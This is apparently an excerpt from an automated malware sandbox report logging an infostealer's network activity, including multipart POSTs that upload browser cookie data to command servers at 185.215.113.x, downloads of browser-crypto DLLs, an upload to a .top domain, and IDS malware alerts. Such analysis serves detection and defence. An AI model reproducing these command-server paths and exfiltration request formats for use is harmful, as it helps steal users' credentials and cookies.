a5 33 cd 63 d9 d4 1d 32 ea 65 5c c9 d9 cf a1 63 7c de 08 0f 76 b4 05 21 73 9d 98 0a 82 17 13 9e 7c 61 ef 9d a7 eb 8b 72 d3 3c e7 16 5c 18 86 49 91 96 06 24 d0 7d 1c 96 1f c7 1b 16 8f ad 29 30 73 b6 9c 99 3d b4 44 b4 ff 18 aa 9b e5 f4 16 06 ae b5 f9 8f 0d a0 df 5c 62 ee 10 2c aa b8 e6 6a a9 53 4a 60 0d f1 94 59 10 c5 b9 9b 4b c0 df 51 4e c2 c2 39 1a d5 30 d4 a4 4c 4b ac 76 30 b7 be 91 01 a0 3c 29 82 1a c2 e6 31 92 af 46 a9 6f df 59 72 7c 05 61 61 e5 79 ef 28 6b e3 5b 69 bf 8a 68 58 67 2d 2c 36 2c 9b 84 dd 41 50 b0 a9 d9 3f 58 aa e9 ea 2e 80 ef e6 6d 2f bc 64 2b 3e 13 50 71 8d 93 21 60 cf cf fd a9 f2 10 29 b2 a3 24 ec 81 18 47 1c c6 8a 0d 84 15 d5 37 05 24 99 63 46 9f e6 9c 2d 79 0f 13 1c 94 69 b5 ff 97 8d 5d 92 94 28 2f 6a d8 3e 15 8b c8 d7 a6 09 83 a7 1a 1f 01 3f 1b 65 7f 0a 9c b5 6d 35 11 df 2b df d7 35 f9 3e 89 bd 4b c9 6f 85 0b b3 18 00 87 f7 f8 00 e2 a2 a3 50 3d 2d b7 61 2a ea 47 cd 00 d8 91 ec 36 8b 1e 84 50 ec b6 27 63 52 d0 b1 b6 a1 53 7d 7b d0 76 dd a1 2f 63 32 48 e8 45 0f 62
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDHJKKJDHJJJJKEGHIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BFHDHJKKJDHJJJJKEGHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BFHDHJKKJDHJJJJKEGHI--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 34 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008414001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCAFHIJECGCAKFCGDBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 41 46 48 49 4a 45 43 47 43 41 4b 46 43 47 44 42 2d 2d 0d 0a Data Ascii: ------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEHCAFHIJECGCAKFCGDBContent-Disposition: form-data; name="file"------KEHCAFHIJECGCAKFCGDB--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 39 34 34 33 65 39 30 32 36 34 66 30 32 65 36 35 31 64 62 31 63 30 34 34 63 62 61 65 34 37 64 30 64 37 65 30 36 65 33 66 35 33 64 65 36 37 63 34 66 31 38 66 30 38 31 39 61 39 32 63 37 36 32 62 62 62 36 30 63 62 63 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"79443e90264f02e651db1c044cbae47d0d7e06e3f53de67c4f18f0819a92c762bbb60cbc------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file"------IEHDBGDHDAECBGDHJKFI--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 34 32 41 37 30 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B42A70B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 34 32 41 37 30 42 35 35 42 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B42A70B55B82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEHJJECAEGCAAAAEGIEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 23148Content-Type: multipart/form-data; boundary=------------------------JNprR3xICfYm3sw5Z5j6gKData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4a 4e 70 72 52 33 78 49 43 66 59 6d 33 73 77 35 5a 35 6a 36 67 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 63 65 68 61 6a 65 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 91 92 ba 06 b2 ef 97 54 ec dd b0 56 aa 73 88 e8 56 a8 e7 44 55 ee 2b 24 d6 a4 7a 5d 13 a0 64 20 df a4 2f d1 f8 9b b8 b7 0a b8 ca 43 54 ce 83 e6 f6 3c d0 e0 71 6e 13 2f 5e 60 1c 01 b5 2c 64 7b 96 39 cc fc fb 77 42 30 bb 8b 22 53 05 af 1e ea 1a 23 99 bc f8 a4 ff 86 bc 7c 63 44 bb 68 8d c3 a3 3c 42 ee 86 a9 c0 90 ed 34 e6 55 ce 9e 19 e8 23 c7 28 e9 8e e6 e6 d1 d0 6a 75 82 a9 ed ab 0f 5b 02 94 59 91 cf 27 b4 88 d6 d2 95 b7 8a af 04 ed 2b a1 d4 3b 66 8b 83 3b 4a 70 0c 57 5c 2e 55 89 50 81 6f 0b 83 f6 6a 60 7c 49 0a 0b 08 ee 20 55 a3 de fb 70 3b af f4 71 e9 4f f7 b7 fb f8 03 68 72 17 45 bc 2c bc 7f ea b4 2d f0 8d d6 b1 42 8b 84 b7 3b a7 33 48 86 a0 ed 10 28 33 32 5b 12 ab 69 d7 c7 05 fd fd fa cf 35 0d b0 d6 1c 8e 5c db 7a 9f fe b2 71 9d 96 59 9b 8e af 7e 94 11 a4 8c 2d 7c 6e a2 9c 1a 83 b0 fe d5 1c 29 d0 bc 27 03 d7 29 0d 5a 45 f4 d4 50 64 d6 35 92 e3 1e d7 c6 f3 7e a3 f4 ec 21 e2 32 fd 1b 71 df de 84 cb 18 b4 a1 6f cf bc 6b 95 9d 12 36 13 75 fa 77 a0 d6 07 ba 32 8b 14 de ca b0 74 03 fb 9b c5 d1 bb 86 7d fb 29 c3 fe 89 ac 78 a6 44 11 8d 66 39 81 73 3e 3e 70 58 33 4a 5d fe af db e5 16 93 bd 2b 86 00 dc 90 d7 25 16 2c 72 14 d1 09 42 9f af 95 34 26 42 2b b8 78 e9 8c a3 4b 7e 00 50 eb b9 63 50 b7 f2 f3 cb 79 89 0e 32 22 ea 10 ca 3e f7 d0 b5 34 9b e8 fb d0 29 65 89 a1 cd ba c0 de 41 95 c2 87 3c 05 87 3a 63 b4 ce 83 49 52 98 01 82 92 8b 68 c0 28 ba 57 94 63 72 b9 ec 0e 5b 5f 64 0a 70 b0 61 3a b3 93 7d 24 c8 6a 01 4d 66 8b dd 53 ab 1a 52 87 4f 59 8b db 70 d9 fa c5 eb 23 5f cf 3f 58 c4 4e 41 aa ba 4f dc cd f4 13 ed c6 c4 3b 37 14 c1 2e 4f 43 22 ee 13 c7 74 75 ba 70 40 a4 c4 fc 4d 86 c2 35 9a 4c d5 d9 9a 30 0e 46 d7 b8 af 26 10 0c a2 36 ad 05 52 f4 59 49 1d bf 1a ea 44 fd 8c 76 10 c4 97 d2 39 18 cc ab d8 12 6e ad 15 07 29 b1 7a 71 7c 33 b4 47 5b ab cb 53 5a 15 d9 89 16 6b d8 88 ab 09 1a 45 95 a7 0a 3d e9 f3 d8 48 6e e3 b0 30 59 0c 8d 9f 15 51 07 18 7a 05 9b ed dc b5 41 e2 9f 09 1d 29 53 a7 cc ab ca 21 f2 f0 ec ac 0f bc db 26 ae 1e 38 41 9c bc f6 d5 73 26 7a c7 67 39 b5 8f e0 e0 94 88 4c 15 be 61 91 70 b3 12 b8 a0 b7 4c 20 72 66 fc a1 c2 1c 41 c0 13 29 a0 5b 97 3a b1 84 86 ee 3e 66 46 3a f2 db fe 1c 4d a0 66 4f ef a1 0e 00 bb d4 ad 38 44 7a 3a 3c 74 27 dc 21 a9 de 11 d0 98 5c f5 20 e4 18 17 3d 75 69 f6 5b 35 a1 2d 5b 8e 54 91 b4 70 b9 d3 d7 de 61 7c 70 90 3f fe 07 50 a9 69 81 3b c8 4a 07 c1 db ac 84
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 185.215.113.16 185.215.113.16
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49765 -> 31.41.244.11:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49793 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49815 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49816 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49821 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49827 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49834 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49842 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49843 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49849 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49850 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49856 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49860 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49865 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49884 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49893 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49897 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49908 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49918 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49907 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49941 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49952 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49964 -> 172.67.162.84:443
Source: unknown TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown TCP traffic detected without corresponding DNS query: 23.193.114.18
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_0001BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile, 6_2_0001BE30
Source: global traffic HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u9zS8ZvMfDAPD9P&MD=8g8SzMP5 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u9zS8ZvMfDAPD9P&MD=8g8SzMP5 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
